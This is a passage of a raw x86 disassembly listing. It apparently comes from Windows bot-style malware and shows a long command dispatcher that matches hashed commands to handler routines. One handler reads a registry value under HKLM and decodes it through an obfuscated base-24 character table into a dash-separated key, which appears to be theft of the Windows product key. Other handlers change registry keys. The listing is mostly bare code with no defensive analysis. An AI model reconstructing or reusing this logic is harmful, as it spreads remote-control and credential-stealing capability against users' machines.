[ebp+var_14] inc eax mov [ebp+var_14], eax loc_40A927: ; CODE XREF: sub_40A8AD+71j mov eax, [ebp+var_14] cmp eax, [ebp+var_28] jge loc_40A9C8 mov eax, [ebp+arg_0] add eax, [ebp+var_14] movsx eax, byte ptr [eax] push eax call sub_416DE4 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 30h jl short loc_40A95D cmp [ebp+var_8], 39h jg short loc_40A95D mov eax, [ebp+var_8] sub eax, 30h mov [ebp+var_10], eax jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A95D: ; CODE XREF: sub_40A8AD+9Dj ; sub_40A8AD+A3j cmp [ebp+var_8], 61h jl short loc_40A99C cmp [ebp+var_8], 66h jg short loc_40A99C and [ebp+var_24], 0 jmp short loc_40A976 ; --------------------------------------------------------------------------- loc_40A96F: ; CODE XREF: sub_40A8AD:loc_40A998j mov eax, [ebp+var_24] inc eax mov [ebp+var_24], eax loc_40A976: ; CODE XREF: sub_40A8AD+C0j mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] test eax, eax jz short loc_40A99A mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] cmp [ebp+var_8], eax jnz short loc_40A998 mov eax, [ebp+var_24] add eax, 0Ah mov [ebp+var_10], eax loc_40A998: ; CODE XREF: sub_40A8AD+E0j jmp short loc_40A96F ; --------------------------------------------------------------------------- loc_40A99A: ; CODE XREF: sub_40A8AD+D3j jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A99C: ; CODE XREF: sub_40A8AD+B4j ; sub_40A8AD+BAj xor eax, eax jmp short loc_40A9CB ; --------------------------------------------------------------------------- loc_40A9A0: ; CODE XREF: sub_40A8AD+AEj ; sub_40A8AD:loc_40A99Aj mov eax, [ebp+var_28] sub eax, [ebp+var_14] dec eax push eax push 10h call sub_40A86D pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] imul eax, [ebp+var_10] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx jmp loc_40A920 ; --------------------------------------------------------------------------- loc_40A9C8: ; CODE XREF: sub_40A8AD+80j mov eax, [ebp+var_C] loc_40A9CB: ; CODE XREF: sub_40A8AD+F1j pop edi pop esi leave retn sub_40A8AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9CF proc near ; CODE XREF: sub_40D871+C95p ; sub_40D871+D9Cp var_6424 = dword ptr -6424h var_6420 = dword ptr -6420h var_641C = dword ptr -641Ch var_6418 = dword ptr -6418h var_6414 = dword ptr -6414h var_6410 = dword ptr -6410h var_640C = dword ptr -640Ch var_6408 = dword ptr -6408h var_6404 = dword ptr -6404h var_6400 = dword ptr -6400h var_63FC = dword ptr -63FCh var_63F8 = dword ptr -63F8h var_63F4 = dword ptr -63F4h var_63F0 = dword ptr -63F0h var_63EC = dword ptr -63ECh var_63E8 = dword ptr -63E8h var_63E4 = dword ptr -63E4h var_63E0 = dword ptr -63E0h var_63DC = dword ptr -63DCh var_63D8 = dword ptr -63D8h var_63D4 = dword ptr -63D4h var_63D0 = dword ptr -63D0h var_63CC = dword ptr -63CCh var_63C8 = dword ptr -63C8h var_63C4 = dword ptr -63C4h var_63C0 = dword ptr -63C0h var_63BC = dword ptr -63BCh var_63B8 = dword ptr -63B8h var_63B4 = word ptr -63B4h var_63B2 = word ptr -63B2h var_63B0 = dword ptr -63B0h var_63A4 = dword ptr -63A4h var_63A0 = byte ptr -63A0h var_639C = dword ptr -639Ch var_6398 = byte ptr -6398h var_6397 = byte ptr -6397h var_6396 = byte ptr -6396h var_6395 = byte ptr -6395h var_6394 = byte ptr -6394h var_6393 = byte ptr -6393h var_6392 = byte ptr -6392h var_6391 = byte ptr -6391h var_6390 = byte ptr -6390h var_638F = byte ptr -638Fh var_638E = byte ptr -638Eh var_638D = byte ptr -638Dh var_638C = dword ptr -638Ch var_6388 = byte ptr -6388h var_5F84 = dword ptr -5F84h var_5F80 = byte ptr -5F80h var_5B7C = dword ptr -5B7Ch var_5B78 = dword ptr -5B78h var_5B74 = byte ptr -5B74h var_5A70 = dword ptr -5A70h var_5A6C = dword ptr -5A6Ch var_5A68 = dword ptr -5A68h var_5A64 = byte ptr -5A64h var_1A64 = dword ptr -1A64h var_1A60 = byte ptr -1A60h var_A60 = dword ptr -0A60h var_A5C = byte ptr -0A5Ch var_A38 = byte ptr -0A38h var_A30 = dword ptr -0A30h var_A2C = dword ptr -0A2Ch var_A28 = dword ptr -0A28h var_A24 = dword ptr -0A24h var_A20 = dword ptr -0A20h var_A1C = dword ptr -0A1Ch var_A18 = byte ptr -0A18h var_9F8 = dword ptr -9F8h var_9F4 = byte ptr -9F4h var_9EF = byte ptr -9EFh var_9EA = byte ptr -9EAh var_9E5 = byte ptr -9E5h var_9E0 = byte ptr -9E0h var_9DB = byte ptr -9DBh var_9D8 = byte ptr -9D8h var_9A4 = byte ptr -9A4h var_970 = byte ptr -970h var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_8D3 = byte ptr -8D3h var_8D2 = byte ptr -8D2h var_8CD = byte ptr -8CDh var_8CC = byte ptr -8CCh var_8C7 = byte ptr -8C7h var_8C6 = byte ptr -8C6h var_8C1 = byte ptr -8C1h var_8C0 = byte ptr -8C0h var_8BB = byte ptr -8BBh var_8B8 = byte ptr -8B8h var_8A0 = byte ptr -8A0h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_718 = byte ptr -718h var_59B = byte ptr -59Bh var_598 = byte ptr -598h var_418 = dword ptr -418h var_414 = byte ptr -414h var_214 = byte ptr -214h var_1F0 = byte ptr -1F0h var_1CC = byte ptr -1CCh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h var_183 = byte ptr -183h var_83 = dword ptr -83h var_7F = byte ptr -7Fh var_19 = byte ptr -19h var_B = byte ptr -0Bh var_8 = byte ptr -8 var_5 = dword ptr -5 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, 6424h call sub_416BC0 push esi push edi mov eax, [ebp+arg_14] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_1A8], eax push [ebp+arg_0] lea eax, [ebp+var_1A4] push eax call sub_416B3A ; strcpy pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_183] push eax call sub_416B3A ; strcpy pop ecx pop ecx mov eax, [ebp+arg_C] mov [ebp+var_83], eax push 7Ah push [ebp+arg_10] lea eax, [ebp+var_7F] push eax call sub_416B52 add esp, 0Ch mov [ebp+var_5], 1 mov eax, [ebp+var_1A8] sub eax, dword_419F18 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AA59 lea eax, [ebp+var_1A4] push eax call sub_415AF0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AA59: ; CODE XREF: sub_40A9CF+76j mov eax, [ebp+var_1A8] sub eax, dword_419F0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AACF mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40AAAC lea eax, [ebp+var_214] push eax lea eax, [ebp+var_1F0] push eax lea eax, [ebp+var_1CC] push eax call sub_40668F add esp, 0Ch lea eax, [ebp+var_1CC] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AAAC: ; CODE XREF: sub_40A9CF+A6j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D7E5 pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AACF: ; CODE XREF: sub_40A9CF+9Dj mov eax, [ebp+var_1A8] sub eax, dword_419EF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB21 push 200h lea eax, [ebp+var_414] push eax call dword_4171D8 push eax call dword_4171E4 test eax, eax jle short loc_40AB1C lea eax, [ebp+var_414] push eax push offset dword_419EDC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AB1C: ; CODE XREF: sub_40A9CF+130j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB21: ; CODE XREF: sub_40A9CF+113j mov eax, [ebp+var_1A8] sub eax, dword_419ED0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB56 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4077DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB56: ; CODE XREF: sub_40A9CF+165j mov eax, [ebp+var_1A8] sub eax, dword_419EC4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AC89 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AC84 push 180h mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_598] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_598] push eax call sub_416B40 pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 3 jle short loc_40ABFE push offset dword_419EC0 mov eax, [ebp+var_418] lea eax, [ebp+eax+var_59B] push eax call sub_416DDE pop ecx pop ecx test eax, eax jnz short loc_40ABFE mov eax, [ebp+var_418] and [ebp+eax+var_59B], 0 lea eax, [ebp+var_598] push eax call sub_4078A0 pop ecx lea eax, [ebp+var_598] push eax call sub_416B40 pop ecx mov [ebp+var_418], eax loc_40ABFE: ; CODE XREF: sub_40A9CF+1E1j ; sub_40A9CF+1FFj mov eax, [ebp+var_418] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_418] sub ecx, eax cmp ecx, 180h jbe short loc_40AC1F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC1F: ; CODE XREF: sub_40A9CF+249j push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF29 pop ecx pop ecx push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF59 pop ecx pop ecx mov [ebp+var_418], eax push [ebp+var_418] lea eax, [ebp+var_718] push eax lea eax, [ebp+var_598] push eax call sub_40EB4E add esp, 0Ch lea eax, [ebp+var_718] push eax push offset dword_419E9C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AC84: ; CODE XREF: sub_40A9CF+1A7j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC89: ; CODE XREF: sub_40A9CF+19Aj mov eax, [ebp+var_1A8] sub eax, dword_419E90 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AD84 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] movsx eax, byte ptr [eax] cmp eax, 3Dh jnz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_416B40 pop ecx mov [ebp+var_71C], eax mov eax, [ebp+var_71C] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_71C] sub ecx, eax cmp ecx, 180h jbe short loc_40AD0C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD0C: ; CODE XREF: sub_40A9CF+336j lea eax, [ebp+var_8A0] push eax mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_720] and [ebp+eax+var_8A0], 0 lea eax, [ebp+var_8A0] push eax push offset dword_419E70 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AD7F: ; CODE XREF: sub_40A9CF+2DAj ; sub_40A9CF+2ECj ... jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD84: ; CODE XREF: sub_40A9CF+2CDj mov eax, [ebp+var_1A8] sub eax, dword_419E60 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADB2 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406643 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADB2: ; CODE XREF: sub_40A9CF+3C8j mov eax, [ebp+var_1A8] sub eax, dword_419E50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADD9 lea eax, [ebp+var_1A4] push eax call sub_4064BF pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADD9: ; CODE XREF: sub_40A9CF+3F6j mov eax, [ebp+var_1A8] sub eax, dword_419E48 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B0B6 and [ebp+var_9F8], 0 mov [ebp+var_A1C], 0C8h push 0Ch pop ecx mov esi, offset dword_419E14 lea edi, [ebp+var_9D8] rep movsd movsb push 5 pop ecx mov esi, offset dword_419DFC lea edi, [ebp+var_8B8] rep movsd movsb lea eax, [ebp+var_9D8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_9F8] push eax push 20019h push 0 lea eax, [ebp+var_9D8] push eax push 80000002h call dword_417008 test eax, eax jz short loc_40AE7D lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AE78 push [ebp+var_9F8] call dword_417028 loc_40AE78: ; CODE XREF: sub_40A9CF+49Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AE7D: ; CODE XREF: sub_40A9CF+485j lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx lea eax, [ebp+var_8B8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_A1C] push eax lea eax, [ebp+var_9A4] push eax push 0 push 0 lea eax, [ebp+var_8B8] push eax push [ebp+var_9F8] call dword_41700C test eax, eax jz short loc_40AEE7 lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AEE2 push [ebp+var_9F8] call dword_417028 loc_40AEE2: ; CODE XREF: sub_40A9CF+505j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AEE7: ; CODE XREF: sub_40A9CF+4EFj lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx push [ebp+var_9F8] call dword_417028 push 7 pop ecx mov esi, offset aALSsSCJEKi ; "¿«×ÄÄØé˜Ü¹œ™Ï—؆ÎÜ¥µ»ª›" lea edi, [ebp+var_A18] rep movsd movsb lea eax, [ebp+var_A18] push eax call sub_4105FB pop ecx and [ebp+var_9DB], 0 mov [ebp+var_8DC], 18h jmp short loc_40AF3E ; --------------------------------------------------------------------------- loc_40AF31: ; CODE XREF: sub_40A9CF+60Bj mov eax, [ebp+var_8DC] dec eax mov [ebp+var_8DC], eax loc_40AF3E: ; CODE XREF: sub_40A9CF+560j cmp [ebp+var_8DC], 0 jl loc_40AFDF and [ebp+var_A20], 0 mov [ebp+var_A24], 0Eh jmp short loc_40AF6B ; --------------------------------------------------------------------------- loc_40AF5E: ; CODE XREF: sub_40A9CF+5EFj mov eax, [ebp+var_A24] dec eax mov [ebp+var_A24], eax loc_40AF6B: ; CODE XREF: sub_40A9CF+58Dj cmp [ebp+var_A24], 0 jl short loc_40AFC0 mov eax, [ebp+var_A20] shl eax, 8 mov ecx, [ebp+var_A24] movzx ecx, [ebp+ecx+var_970] add eax, ecx mov [ebp+var_A20], eax mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov ecx, [ebp+var_A24] mov [ebp+ecx+var_970], al mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov [ebp+var_A20], edx jmp short loc_40AF5E ; --------------------------------------------------------------------------- loc_40AFC0: ; CODE XREF: sub_40A9CF+5A3j mov eax, [ebp+var_8DC] mov ecx, [ebp+var_A20] mov cl, [ebp+ecx+var_A18] mov [ebp+eax+var_9F4], cl jmp loc_40AF31 ; --------------------------------------------------------------------------- loc_40AFDF: ; CODE XREF: sub_40A9CF+576j lea eax, [ebp+var_A18] push eax call sub_4105AD pop ecx and [ebp+var_8BB], 0 mov [ebp+var_8C1], 2Dh mov al, [ebp+var_8C1] mov [ebp+var_8C7], al mov al, [ebp+var_8C7] mov [ebp+var_8CD], al mov al, [ebp+var_8CD] mov [ebp+var_8D3], al push 5 lea eax, [ebp+var_9F4] push eax lea eax, [ebp+var_8D8] push eax call sub_416B52 add esp, 0Ch push 5 lea eax, [ebp+var_9EF] push eax lea eax, [ebp+var_8D2] push eax call sub_416B52 add esp, 0Ch push 5 lea eax, [ebp+var_9EA] push eax lea eax, [ebp+var_8CC] push eax call sub_416B52 add esp, 0Ch push 5 lea eax, [ebp+var_9E5] push eax lea eax, [ebp+var_8C6] push eax call sub_416B52 add esp, 0Ch push 5 lea eax, [ebp+var_9E0] push eax lea eax, [ebp+var_8C0] push eax call sub_416B52 add esp, 0Ch lea eax, [ebp+var_8D8] push eax push offset dword_418B64 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B0B6: ; CODE XREF: sub_40A9CF+41Dj mov eax, [ebp+var_1A8] sub eax, dword_419DCC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B11C mov [ebp+var_8], 1 movsx eax, [ebp+var_19] test eax, eax jz short loc_40B0E6 lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0E6: ; CODE XREF: sub_40A9CF+706j movsx eax, [ebp+var_B] test eax, eax jz short loc_40B0FD lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0FD: ; CODE XREF: sub_40A9CF+71Dj lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx loc_40B117: ; CODE XREF: sub_40A9CF+715j ; sub_40A9CF+72Cj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B11C: ; CODE XREF: sub_40A9CF+6FAj mov eax, [ebp+var_1A8] sub eax, dword_419DBC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B143 lea eax, [ebp+var_1A4] push eax call sub_414EB0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B143: ; CODE XREF: sub_40A9CF+760j mov eax, [ebp+var_1A8] sub eax, dword_419DB0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B247 push 8 pop ecx mov esi, offset dword_419D8C lea edi, [ebp+var_A5C] rep movsd movsb mov esi, offset dword_419D84 lea edi, [ebp+var_A38] movsd movsw movsx eax, [ebp+var_A38] mov ecx, off_41DB20 movsx ecx, byte ptr [ecx] sub eax, ecx neg eax sbb eax, eax inc eax mov [ebp+var_A30], eax cmp [ebp+var_A30], 0 jz short loc_40B1AD mov [ebp+var_63E4], offset dword_419D78 jmp short loc_40B1B7 ; --------------------------------------------------------------------------- loc_40B1AD: ; CODE XREF: sub_40A9CF+7D0j mov [ebp+var_63E4], offset dword_419D68 loc_40B1B7: ; CODE XREF: sub_40A9CF+7DCj mov eax, [ebp+var_63E4] mov [ebp+var_A28], eax cmp [ebp+var_A30], 0 jz short loc_40B1D8 mov [ebp+var_63E8], offset aThisBuildIsFul ; "This build is fully functional" jmp short loc_40B1E2 ; --------------------------------------------------------------------------- loc_40B1D8: ; CODE XREF: sub_40A9CF+7FBj mov [ebp+var_63E8], offset aThisBuildIsBro ; "This build is broken and will not funct"... loc_40B1E2: ; CODE XREF: sub_40A9CF+807j mov eax, [ebp+var_63E8] mov [ebp+var_A2C], eax lea eax, [ebp+var_A5C] push eax call sub_4105FB pop ecx push [ebp+var_A2C] push [ebp+var_A28] mov eax, dword_41ED10 and eax, 0FFFFh push eax movsx eax, byte ptr dword_41DB00 and eax, 0FFh push eax lea eax, [ebp+var_A5C] push eax lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 18h lea eax, [ebp+var_A5C] push eax call sub_4105AD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B247: ; CODE XREF: sub_40A9CF+787j mov eax, [ebp+var_1A8] sub eax, dword_419D08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B28E mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_405E45 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B28E: ; CODE XREF: sub_40A9CF+88Bj mov eax, [ebp+var_1A8] sub eax, dword_419CFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B2C5 mov eax, [ebp+arg_18] add eax, 4 push eax mov eax, [ebp+arg_14] add eax, 4 push eax lea eax, [ebp+var_1A4] push eax call sub_4167DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B2C5: ; CODE XREF: sub_40A9CF+8D2j mov eax, [ebp+var_1A8] sub eax, dword_419CF0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B2EF mov eax, [ebp+var_1A8] sub eax, dword_419CE4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B300 loc_40B2EF: ; CODE XREF: sub_40A9CF+909j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D74D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B300: ; CODE XREF: sub_40A9CF+91Ej mov eax, [ebp+var_1A8] sub eax, dword_419CD4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B335 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403260 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B335: ; CODE XREF: sub_40A9CF+944j mov eax, [ebp+var_1A8] sub eax, dword_419CC8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B36A mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40260D add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B36A: ; CODE XREF: sub_40A9CF+979j mov eax, [ebp+var_1A8] sub eax, dword_419CB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B3A5 mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406509 add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3A5: ; CODE XREF: sub_40A9CF+9AEj mov eax, [ebp+var_1A8] sub eax, dword_419CA8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B3DA mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_41665C add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3DA: ; CODE XREF: sub_40A9CF+9E9j mov eax, [ebp+var_1A8] sub eax, dword_419C98 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B426 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B3FD jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3FD: ; CODE XREF: sub_40A9CF+A27j mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000001h call sub_401000 pop ecx pop ecx mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000002h call sub_401000 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B426: ; CODE XREF: sub_40A9CF+A1Ej mov eax, [ebp+var_1A8] sub eax, dword_419C88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B44C mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_401146 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B44C: ; CODE XREF: sub_40A9CF+A6Aj mov eax, [ebp+var_1A8] sub eax, dword_419C7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B47D push 0 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B47D: ; CODE XREF: sub_40A9CF+A90j mov eax, [ebp+var_1A8] sub eax, dword_419C70 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4AE push 1 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4AE: ; CODE XREF: sub_40A9CF+AC1j mov eax, [ebp+var_1A8] sub eax, dword_419C64 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4D5 lea eax, [ebp+var_1A4] push eax call sub_409BF1 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4D5: ; CODE XREF: sub_40A9CF+AF2j mov eax, [ebp+var_1A8] sub eax, dword_419C5C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B508 push offset dword_41F028 push offset dword_419C4C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B508: ; CODE XREF: sub_40A9CF+B19j mov eax, [ebp+var_1A8] sub eax, dword_419C40 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B536 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413FE7 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B536: ; CODE XREF: sub_40A9CF+B4Cj mov eax, [ebp+var_1A8] sub eax, dword_419C34 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, dword_419C28 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, dword_419C1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5A7 loc_40B575: ; CODE XREF: sub_40A9CF+B7Aj ; sub_40A9CF+B8Fj mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413AB0 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5A7: ; CODE XREF: sub_40A9CF+BA4j mov eax, [ebp+var_1A8] sub eax, dword_419C0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5CE lea eax, [ebp+var_1A4] push eax call sub_41417D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5CE: ; CODE XREF: sub_40A9CF+BEBj mov eax, [ebp+var_1A8] sub eax, dword_419BF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B631 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz short loc_40B61B mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_41673F pop ecx test eax, eax jnz short loc_40B601 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B601: ; CODE XREF: sub_40A9CF+C2Bj push 104h mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset dword_41ED20 call sub_407A56 add esp, 0Ch jmp short loc_40B62C ; --------------------------------------------------------------------------- loc_40B61B: ; CODE XREF: sub_40A9CF+C1Bj push offset dword_41EC0C push offset dword_41ED20 call sub_416B3A ; strcpy pop ecx pop ecx loc_40B62C: ; CODE XREF: sub_40A9CF+C4Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B631: ; CODE XREF: sub_40A9CF+C12j mov eax, [ebp+var_1A8] sub eax, dword_419BE8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B678 mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_414600 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B678: ; CODE XREF: sub_40A9CF+C75j mov eax, [ebp+var_1A8] sub eax, dword_419BE0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B791 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B69F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B69F: ; CODE XREF: sub_40A9CF+CC9j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 pop ecx shl eax, 1 push eax call sub_416B46 pop ecx mov [ebp+var_5A68], eax cmp [ebp+var_5A68], 0 jnz short loc_40B6C8 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B6C8: ; CODE XREF: sub_40A9CF+CF2j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 pop ecx push eax push [ebp+var_5A68] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40EB4E add esp, 